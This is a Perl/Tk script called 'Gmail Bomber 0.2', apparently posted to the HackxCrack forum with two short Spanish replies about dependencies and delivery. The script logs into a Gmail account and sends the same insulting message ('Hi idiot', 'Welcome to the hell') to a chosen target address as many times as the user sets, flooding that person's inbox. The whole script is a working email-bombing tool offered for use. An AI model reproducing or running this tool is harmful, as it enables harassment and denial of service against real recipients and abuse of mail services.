#!usr/bin/perl#Gmail Bomber 0.2#Dependencies#http://search.cpan.org/~peco/Email-Send-SMTP-Gmail-0.24/lib/Email/Send/SMTP/Gmail.pm#http://search.cpan.org/~cwest/Net-SMTP-SSL-1.01/lib/Net/SMTP/SSL.pm#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.poduse Tk;use Win32;use Email::Send::SMTP::Gmail;if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free();}my $color_fondo = "black";my $color_texto = "green";my $ve = MainWindow->new( -background => $color_fondo, -foreground => $color_texto );$ve->geometry("300x600+20+20");$ve->resizable( 0, 0 );$ve->title("Gmail Bomber 0.2");$ve->Label( -text => "Login", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto)->place( -x => 110, -y => 30 );$ve->Label( -text => "Username : ", -background => $color_fondo, -foreground => $color_texto)->place( -x => 20, -y => 80 );my $user = $ve->Entry( -width => 30, -text => '[email protected]', -background => $color_fondo, -foreground => $color_texto)->place( -y => 83, -x => 85 );$ve->Label( -text => "Password : ", -background => $color_fondo, -foreground => $color_texto)->place( -x => 20, -y => 120 );my $pass = $ve->Entry( -show => "*", -width => 30, -text => 'Secret', -background => $color_fondo, -foreground => $color_texto)->place( -y => 123, -x => 85 );$ve->Label( -text => "Message", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto)->place( -x => 110, -y => 160 );$ve->Label( -text => "Number : ", -background => $color_fondo, -foreground => $color_texto)->place( -x => 20, -y => 210 );my $number = $ve->Entry( -width => 5, -text => "20", -background => $color_fondo, -foreground => $color_texto)->place( -x => 75, -y => 212 );$ve->Label( -text => "Target : ", -background => $color_fondo, -foreground => $color_texto)->place( -x => 20, -y => 240 );my $to = $ve->Entry( -text => '[email protected]', -width => 30, -background => $color_fondo, -foreground => $color_texto)->place( -x => 73, -y => 242 );$ve->Label( -text => "Subject : ", -background => $color_fondo, -foreground => $color_texto)->place( -x => 20, -y => 270 );my $tema = $ve->Entry( -text => "Hi idiot", -width => 20, -background => $color_fondo, -foreground => $color_texto)->place( -x => 73, -y => 273 );$ve->Label( -text => "Body", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto)->place( -x => 110, -y => 310 );my $body = $ve->Text( -width => 30, -height => 12, -background => $color_fondo, -foreground => $color_texto)->place( -x => 45, -y => 350 );$body->insert( "end", "Welcome to the hell" );$ve->Button( -text => "Send", -width => 10, -command => \&start, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto)->place( -x => 43, -y => 550 );$ve->Button( -text => "About", -width => 10, -command => \&about, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto)->place( -x => 117, -y => 550 );$ve->Button( -text => "Exit", -width => 10, -command => [ $ve => "destroy" ], -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto)->place( -x => 190, -y => 550 );MainLoop;sub start { $text = $body->get( "1.0", "end" ); chomp $text; if ( my $mail = Email::Send::SMTP::Gmail->new( -smtp => "gmail.com", -login => $user->get, -pass => $pass->get ) ) { for my $number ( 1 .. $number->get ) { $ve->update; $mail->send( -to => $to->get, -subject => $tema->get, -body => $text ); } Win32::MsgBox( "Send", 0, "Mails Send" ); $mail->bye; } else { Win32::MsgBox( "Error in the login", 0, "Error" ); }}sub about { my $text ="This program was written by Doddy H for the Tournament of Programming Perlto forum HackxCrack"; Win32::MsgBox( $text, 0, "About" );}#The End ?
Una duda... ¿por qué en recibidos sólo pone 1 ? :/
The_GanGsTar , deje todos los modulos necesarios ordenados en la parte que dice "Dependencies" del codigo.